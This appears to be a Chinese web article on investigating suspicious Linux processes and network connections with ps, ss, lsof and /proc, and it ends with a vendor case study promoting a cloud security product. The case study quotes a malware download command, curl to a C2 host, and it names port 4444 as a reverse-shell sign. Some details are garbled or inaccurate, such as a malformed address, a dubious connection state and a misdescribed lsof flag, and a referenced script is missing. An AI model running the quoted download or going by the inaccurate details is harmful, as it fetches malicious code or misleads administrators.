当前位置：首页 > 互联网 > 正文

服务器进程网络查看命令有哪些？netstat ss lsof查看进程网络连接

admin
互联网
2026-04-12
4134

精准定位异常的实战指南

在服务器运维与安全排查中，快速、准确识别异常进程与网络行为是故障响应的第一道防线，面对高并发、多服务混合部署的复杂环境，仅靠表面日志往往难以定位问题根源，本文基于大量生产环境实战经验，系统梳理主流Linux/Unix系统中最核心、最高效的进程与网络状态查看命令，并结合西西云平台真实案例,提供可落地的诊断策略与优化建议。

核心命令组合：三步锁定异常进程与网络连接

第一步：用ps与top确认进程全貌

ps aux --sort=-%cpu（按CPU占用排序）与top -b -n 1可快速识别资源异常进程，但需注意：仅看CPU/内存不足以发现隐蔽型后们进程——部分恶意进程会主动伪装成系统服务（如kthreadd变种），建议结合ps -ef --forest查看进程树结构,追踪异常子进程的父进程来源。

第二步：用netstat或ss解析网络连接状态

ss -tulnp是当前最优解（比netstat更快、更全面），关键参数说明：

-t：TCP连接
-u：UDP连接
-l：仅监听端口
-n：不解析域名/IP（提升速度，避免DNS延迟干扰）
-p：显示关联进程（需root权限）

重点关注四类异常连接：

ESTABLISHED数量突增（可能遭遇分布或横向渗入）
TIME_WAIT/SOCK_DIAG无进程绑定（常见于端口复用攻破残留）
非预期内网IP的高频率连接（如数据库服务器连接Web层IP）
监听0.0.0.0的非常规端口（如0.0.0:4444可能为反弹Shell）

第三步：用lsof验证文件与网络句柄关联

当ss显示某端口被未知PID占用时，执行lsof -i :端口号 -P -n可精准定位进程名、用户及连接详情。特别注意lsof +c 0可显示所有进程的网络句柄树状结构,快速识别僵尸进程占用端口问题。

服务器进程网络查看命令有哪些？netstat ss lsof查看进程网络连接第1张

进阶技巧：结合/proc文件系统实现无依赖诊断

在容器化或受限环境中，ss/lsof可能缺失，此时直接读取/proc/net/tcp与/proc/net/tcp6是终极方案，以TCP连接为例：

服务器进程网络查看命令有哪些？netstat ss lsof查看进程网络连接第2张

该脚本可解析所有监听状态端口，且不受进程权限限制（需root），结合/proc/[PID]/cmdline可还原进程启动参数,是安全审计的黄金标准。

西西云实战案例：从异常连接到根治的闭环处理

案例背景：某客户云服务器突发CPU飙升至98%，top显示kworker/u2:1进程异常，常规排查中，该进程名高度伪装（实际为kworker/u2:1-后们变种）。

诊断路径：

服务器进程网络查看命令有哪些？netstat ss lsof查看进程网络连接第3张

执行ss -tulnp | grep :443发现多个kworker关联的非标准HTTPS连接；
通过lsof -i :443确认PID为18421，但ps -p 18421无结果（进程已删除自身二进制文件）；
关键一步：ls -l /proc/18421/exe显示链接指向/tmp/.X11-unix/.hidden（隐藏目录），确认为恶意程序；
结合/proc/18421/fd目录，定位其通过curl http://malware.c2.io/payload下载的第二阶段载荷。

解决方案：

立即阻断C2域名（/etc/hosts重定向）；
使用fuser -k 443/tcp终止残留连接；
部署西西云“云哨兵”主机安全模块（基于eBPF实时监控/proc变更），实现进程启动行为动态基线比对，将平均响应时间从小时级缩短至15秒内。

预防性建议：构建自动化监控闭环

定期快照基线：通过ss -s > /backup/ss_baseline_$(date +%F).txt保存网络状态快照；
告警规则配置：
- 单IP在5分钟内建立>100个连接 → 触发分布预警；
- 非业务时段出现LISTEN状态新端口 → 触发入侵检测；
自动化脚本集成：将netstat -anp | awk '/:8080/ && /ESTABLISHED/ {count++} END {print count}'嵌入Zabbix监控项,实现端口连接数实时告警。